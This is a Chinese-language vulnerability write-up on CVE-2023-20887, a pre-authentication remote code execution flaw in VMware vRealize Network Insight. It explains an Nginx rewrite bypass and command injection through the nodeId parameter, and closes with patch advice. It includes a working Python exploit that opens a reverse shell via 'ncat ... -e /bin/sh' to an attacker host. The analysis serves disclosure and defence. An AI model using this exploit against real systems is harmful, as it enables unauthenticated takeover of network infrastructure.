Vmware VRealize NetWork Insight 系统中的预身份验证RCE
字数 1991 2025-08-24 16:48:16
VMware vRealize Network Insight 预身份验证RCE漏洞分析(CVE-2023-20887)
漏洞概述
本文详细分析VMware vRealize Network Insight (vRNI)系统中存在的一个严重安全漏洞,该漏洞允许攻击者在无需任何身份验证的情况下实现远程代码执行(RCE)。漏洞被分配了CVE编号CVE-2023-20887,影响版本包括6.8.0.1666364233及之前的版本。
漏洞背景
vRealize Network Insight是VMware提供的网络监控和分析解决方案,用于提供网络可见性和故障排除功能。系统内部使用Apache Thrift RPC框架进行服务间通信。
漏洞分析
1. Nginx配置分析
系统使用Nginx作为前端代理,关键配置位于/etc/nginx/sites-available/vnera:
server {
[..SNIP..]
location /saasresttosaasservlet {
allow 127.0.0.1;
deny all;
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /saas {
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
关键点:
/saasresttosaasservlet路径仅允许本地访问(127.0.0.1)/saas路径无访问限制,但会重写URL去除/saas前缀
2. Thrift RPC服务分析
后端运行在9090端口的Apache Thrift RPC服务,提供了多个服务端点:
| Service Protocol | URL |
|---|---|
| CollectorToSaasCommunication | TBinaryProtocol |
| FedPeerToSaasCommunication | TBinaryProtocol |
| SaasToCollectorCommunication | TBinaryProtocol |
| SaasToFedPeerCommunication | TBinaryProtocol |
| SaasToCollectorDataLink | TBinaryProtocol |
| RestToSaasCommunication | TJSONProtocol |
| GenericSaasService | TJSONProtocol |
3. 漏洞函数分析
关键漏洞存在于createSupportBundle函数中,该函数定义如下:
public Result createSupportBundle(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {
// [..日志记录等代码..]
ServiceThriftListener.supportBundleExecutor.submit(() -> {
int cidInt = Integer.parseInt(customerId);
String nodeType = this.isLocalNodeId(nodeId) ? "platform" : "proxy";
// [..其他代码..]
try {
ScriptUtils.evictLocalSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
ScriptUtils.evictPublishedSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
// [..其他代码..]
}
// [..异常处理..]
});
// [..其他代码..]
}
4. 命令注入点
漏洞核心在于ScriptUtils.evictPublishedSupportBundles方法中的命令构造:
public static synchronized void evictPublishedSupportBundles(String nodeType, String nodeId,
List<String> evictionRequestIds, Integer maxFiles, String vcfLogToken) throws Exception {
// [..参数检查等代码..]
if (maxFiles != null) {
String evictCommand = String.format(
"sudo ls -tp %s/sb.%s.%s*.tar.gz | grep -v '/$' | tail -n +%d | xargs -I {} rm -- {}",
"/ui-support-bundles", nodeType, nodeId, maxFiles);
if (CommonUtils.isPlatformCluster()) {
evictCommand = String.format("%s %s %s",
"sudo /home/ubuntu/build-target/saasservice/cleansb.sh", nodeId, nodeType);
}
int evictRet = runCommand(evictCommand);
// [..其他代码..]
}
}
关键问题:
nodeId参数未经充分过滤直接用于命令构造- 当系统是平台集群时,会使用更简单的命令格式,更容易注入
5. 绕过Nginx限制的方法
虽然/saasresttosaasservlet路径限制为本地访问,但可以通过以下方式绕过:
https://VRNI-IP/saas./resttosaasservlet
Nginx处理流程:
- 匹配
location /saas规则 - 应用重写规则
rewrite ^/saas(.*)$ /$1 break,将URL重写为/./resttosaasservlet - 代理到后端9090端口的
/resttosaasservlet路径
漏洞利用
1. 利用条件
- 无需任何身份验证
- 能够访问目标系统的443端口
2. 利用步骤
- 构造特制的Thrift请求,调用
createSupportBundle方法 - 在
nodeId参数中注入恶意命令 - 通过
/saas./resttosaasservlet路径绕过Nginx限制 - 触发命令执行
3. 利用代码示例
import requests
from threading import Thread
import argparse
from telnetlib import Telnet
import socket
def handler():
print("(*) Starting handler")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((args.attacker.split(":")[0], int(args.attacker.split(":")[1])))
s.listen(1)
conn, addr = s.accept()
print(f"(+) Received connection from {addr[0]}")
t.sock = conn
print("(+) pop thy shell! (it's ready)")
t.interact()
def start_handler():
t = Thread(target=handler)
t.daemon = True
t.start()
def exploit():
url = args.url + "/saas./resttosaasservlet"
revshell = f'ncat {args.attacker.split(":")[0]} {args.attacker.split(":")[1]} -e /bin/sh'
payload = """[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`""" + revshell + """`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]"""
result = requests.post(
url,
headers={"Content-Type": "application/x-thrift"},
verify=False,
data=payload
)
start_handler()
exploit()
try:
while True:
pass
except KeyboardInterrupt:
print("(*) Exiting...")
exit(0)
4. 利用说明
- 攻击者需要准备一个监听器(如ncat)接收反弹shell
- 构造的Thrift请求格式:
[ 1, "createSupportBundle", 1, 0, { "1": {"str": "1111"}, // customerId "2": {"str": "`恶意命令`"}, // nodeId - 注入点 "3": {"str": "value3"}, // requestId "4": {"lst": ["str", 2, "AAAA", "BBBB"]} // evictionRequestIds } ] - 通过
nodeId参数注入的命令会被系统执行
漏洞修复
VMware已发布安全公告和补丁,建议用户:
- 立即升级到最新版本
- 如果无法立即升级,考虑限制对vRNI系统的网络访问
- 实施网络分段,限制vRNI系统与其他关键系统的通信
总结
该漏洞是一个典型的命令注入漏洞,结合了以下关键因素:
- 未充分过滤的用户输入直接用于系统命令
- Nginx配置不当导致本应受限的接口可被外部访问
- 高权限操作(使用sudo)放大了漏洞影响
漏洞利用无需任何身份验证,攻击者可以完全控制系统,危害极大。建议所有使用vRealize Network Insight的组织立即采取行动修复此漏洞。